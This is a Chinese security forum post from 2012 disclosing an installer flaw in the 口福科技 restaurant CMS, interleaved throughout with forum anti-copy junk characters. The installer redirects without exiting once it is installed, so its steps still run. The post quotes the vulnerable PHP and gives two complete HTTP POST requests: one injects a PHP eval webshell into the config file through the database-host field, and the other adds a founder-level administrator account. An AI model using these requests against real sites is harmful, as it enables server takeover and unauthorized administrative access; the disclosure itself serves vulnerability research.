找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2009|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
' x; U, l# K' ^/ x/ X
, z9 p8 A$ o) n0 p9 ]. o<?php
. ^/ G$ ?  U8 P/ I$ k! V3 Eif(file_exists("../install.lock"))
5 p! C6 A; `  }{
  N' x3 R4 X$ K5 M+ q( p' ]7 E3 p9 P    header("Location: ../");//没有退出
8 k; M0 M3 u! C! U; u}/ m/ M& u9 E( }
               6 d! H4 i6 c/ m9 G0 R6 L
//echo 'tst';exit;2 n/ f% I. a6 @" `; l$ b! m
require_once("init.php");: o& C4 O: L7 J; H. N1 b
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)8 U. d! M& k! g6 u. c
{
- a$ ^. e: \7 [5 K& I' I可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
" K" V" J6 S' ~: m. N( I7 _- T. v7 R( Z% L. l/ F
1、getshell(很危险)
5 N2 ]! x1 B( K- _if(empty($_REQUEST['step']) || $_REQUEST['step']==1): o5 ]7 H0 a3 Q7 c2 S, H
{( c- g4 W  p% Q: {
$smarty->assign("step",1);
% p, k2 r. g. s8 A1 E4 T7 G$smarty->display("index.html");
6 O) t0 o: r2 B4 ?9 j5 [9 _}elseif($_REQUEST['step']==2)
' v9 A  n, L8 d, E{- S6 g) N1 S. n9 h
    $mysql_host=trim($_POST['mysql_host']);( m* k0 T) A* E+ p  w2 e3 u' n  N: i
    $mysql_user=trim($_POST['mysql_user']);
! x7 K1 E& q+ q' U; Y) `    $mysql_pwd=trim($_POST['mysql_pwd']);
5 j) _1 Q% Z9 |6 X6 O( H    $mysql_db=trim($_POST['mysql_db']);9 u$ C! O' x& P1 O8 F' x6 Q; A
    $tblpre=trim($_POST['tblpre']);/ T" Q$ R1 u" E) _
    $domain==trim($_POST['domain']);: u( ?9 k4 g6 i1 A4 L
    $str="<?php \r\n";# W2 H7 q! P! i2 y# x% e
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";4 G# Q7 \5 C  I/ T$ Q
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
4 N0 ?2 v- j! S+ s$ c6 |    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";7 w8 O! l1 d, U/ c) x# c
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";3 G7 F% p) z# r) a! t7 A9 y5 K
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";4 `$ {+ k, L' l
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
# d0 J! e, v% v) q    $str.='define("DOMAIN","'.$domain.'");'."\r\n";3 Y( O0 w8 w5 l; V$ o: S( u
    $str.='define("SKINS","default");'."\r\n";
( W: @8 r/ B8 U9 [) ]4 D& `    $str.='?>';) ?# M! l( Q* b$ Y+ l/ o8 i$ Q& s
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
. U' Z+ W9 b' n# e) I- C上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
8 W7 P2 R- t! z* h% n0 ]4 YPOST /canting/install/index.php?m=index&step=2 HTTP/1.1" U0 _. u" _  B6 ?, z3 X# j
Host: 192.168.80.129
+ Y- a9 l$ l, y/ c: Z9 HUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.08 k' e% a8 }* R: I7 |1 t
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
. Q# @: Q( K& w/ `# u% ~5 }Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3* O5 W; C: t* J1 v  Y6 i
Accept-Encoding: gzip, deflate
6 Q# R$ Z1 s# @0 m- }9 u: YReferer: http://192.168.80.129/canting/install/index.php?step=1
3 p: }# A- B* y$ i2 I* x9 UCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc426 j9 K/ h$ a# M; K# X
Content-Type: application/x-www-form-urlencoded
7 O  Q" B8 g' N# hContent-Length: 1267 W/ V0 R4 \0 w/ A. x# _. R
          ( F0 b9 Y. G2 y. y  k
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD- d7 ?5 ]1 X3 c* W
但是这个方法很危险,将导致网站无法运行。* x& U: ]; n- ]& K

! j1 c) I* I/ W1 n5 @  H9 L2、直接添加管理员2 v0 b8 t' H& G/ u0 n

0 j8 o( h) H4 `( V8 q# Celseif($_REQUEST['step']==5)
% g- o! Q( H5 L% d! c* I$ E{
% a+ e5 [# ]7 U+ z: o) \/ b    if($_POST)
" P& w5 D: o. @8 m! a& s6 c    {   require_once("../config/config.inc.php");, {2 S2 l0 L. q5 N% w3 }
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
6 P( y4 Z5 g9 x( P( c* @        mysql_select_db(MYSQL_DB,$link);4 u0 n/ e' s  D, b
        mysql_query("SET NAMES ".MYSQL_CHARSET );
5 i% u& Y& ^6 Z# Q1 B4 {/ c         mysql_query("SET sql_mode=''");! c2 U( j# @) ~' q: [

4 \  D! V3 `0 F, L8 R $adminname=trim($_POST['adminname']);
  |4 ?' L+ q! [) X% {        $pwd1=trim($_POST['pwd1']);" H. A5 o4 R1 B+ Z' ~
        $pwd2=trim($_POST['pwd2']);0 }5 v6 {1 _3 b
        if(empty($adminname))
! f' c$ W1 r' _+ T6 x( \        {
$ h& p8 X' z" z3 C" `
) M$ Q7 D4 |  E9 t echo "<script>alert('管理员不能为空');history.go(-1);</script>";: [$ ?" r4 i( {) G
            exit();
+ A' g9 ]" l2 t        }" k% v; k+ ?0 c- |
        if(($pwd1!=$pwd2) or empty($pwd1))
2 m% a  |: r$ `6 R2 u$ x' O& O        {
4 f: D* M& d8 q% m. X/ L            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出& }; z1 S& h" C
        }
( d' ^5 g9 v& u: _$ m        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
6 r+ q4 Z/ b6 D  h7 M& w    }: j- ~9 O. e3 g5 ^: O  |
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
6 G$ A9 ^. p" d/ F6 E. j' N- GPOST /canting/install/index.php?m=index&step=5 HTTP/1.1; B6 t' _  L! ~0 U# {
Host: 192.168.80.129
3 a: v: n3 c6 {$ K% t! BUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
0 Q, {- G0 M: q! v# gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 q# E9 k" T% {. ?' XAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
. l; f% Z& y: L4 D' RAccept-Encoding: gzip, deflate+ w& }- @+ W0 K# B
Referer: http://www.2cto.com /canting/install/index.php?step=1* I+ h2 Q2 [% c! h1 b
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
/ Z7 F! o* U: o; I" p9 K7 wContent-Type: application/x-www-form-urlencoded
3 {& b8 m+ Q; R' GContent-Length: 46" c& x& w* ]$ f) _! r
      
% ?( d/ o% S0 Yadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
& K6 \& ^6 K2 L. Q5 v0 ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表